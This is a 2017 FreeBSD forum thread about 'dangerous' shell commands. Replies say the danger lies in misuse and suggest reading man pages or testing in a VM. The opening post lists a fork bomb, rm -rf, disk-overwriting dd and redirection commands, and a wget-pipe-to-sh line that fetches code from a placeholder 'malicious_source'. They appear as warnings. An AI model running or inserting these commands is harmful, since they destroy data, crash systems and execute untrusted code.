# Commands of Linux and FreeBSD



## ninja man (Jan 31, 2017)

Hello,
It has come to my attention that exist commands dangerous of Linux that you NEVER should to realize, for example:

`:(){:|:&};:`

This command works as a "Fork Bomb", it operates defining a function called ':', which is called twice, once in the foreground and other  in the background, the process repeats indefinitely until the system crashe

Examples of other commands dangerous of Linux that you NEVER should to realize are the following:

```
rm -rf
:(){:|:&};:
> /dev/sda
mv pasta/diretório /dev/null
wget http://malicious_source -O- | sh
dd if=/dev/random of=/dev/sda
```
Exist also in FreeBSD commands dangerous that you NEVER should to realize?

I try to type (  :(){:|:&};:  )

But appears :(){:|:&};:


----------



## ShelLuser (Jan 31, 2017)

Any command can be dangerous when it's being mis or ab-used. Therefor it's important not to blindly try stuff without knowing what it does.

And to avoid such things you should always use the manualpages, you'll notice that those on FreeBSD are usually far more extensive than those on Linux.


----------



## ANOKNUSA (Jan 31, 2017)

ninja man said:


> Exist also in FreeBSD commands dangerous that you NEVER should to realize?





			
				Doug Gwyn (Maybe) said:
			
		

> UNIX was not designed to stop its users from doing stupid things, as that would also stop them from doing clever things.



The general rule is that you should not execute a command if you do not understand what it actually does.


----------



## ninja man (Jan 31, 2017)

I did not want to type 

Instead of  , understand semicolon


----------



## Deleted member 9563 (Feb 1, 2017)

ninja man said:


> type



Just so you know, you can use code and /code in square brackets so we'll be able to read your code in a browser without getting smilies.  See here: https://forums.freebsd.org/help/bb-codes


----------



## fscorrea (Feb 23, 2017)

ninja man said:


> Hello,
> It has come to my attention that exist commands dangerous of Linux that you NEVER should to realize, for example:
> 
> `:(){:|:&};:`
> ...


As far as I know, (t)csh does not support this syntax for function declaration. Actually, tcsh(1) does not mention anything about functions at all, though I've found some examples on Google. Tested some. None worked.
If you're using (ba)sh though, it should have worked. But avoid typing these things except for the sole purpose of testing and learning, and in a proper, controlled and safe "sandbox-like" environment such as a Virtualbox VM.


----------



## kafka0 (Feb 24, 2017)

fscorrea said:


> As far as I know, (t)csh does not support this syntax for function declaration. Actually, tcsh(1) does not mention anything about functions at all, though I've found some examples on Google. Tested some. None worked.


You are right: tcsh has been designed as an interactive shell and not a programming shell. It doesn't provide any infrastructure for declaring and using functions.


----------



## Maxnix (Feb 24, 2017)

ninja man said:


> Hello,
> It has come to my attention that exist commands dangerous of Linux that you NEVER should to realize, for example:
> 
> `:(){:|:&};:`
> ...


There are not dangerous commands by themselves, but dangerous uses of them. Shell commands are just a way to make your computer do things.


----------



## SirDice (Feb 24, 2017)

Unix(-like) systems tend to give you lots of opportunities to use, including shooting yourself in the foot.

None of these 'bad' commands are specific to Linux, they're just as bad on FreeBSD, AIX, Solaris, OS-X and every other system.


----------



## tingo (Feb 24, 2017)

This is the classic 


> Patient: Doctor! It hurts when I do this!
> Doctor: Well, stop doing it!


----------



## SirDice (Feb 24, 2017)

tingo said:


> This is the classic


Patient: If I press here it hurts, if I press there it also hurts. Why does everything I press hurt?
Doctor: Your finger is broken.


----------

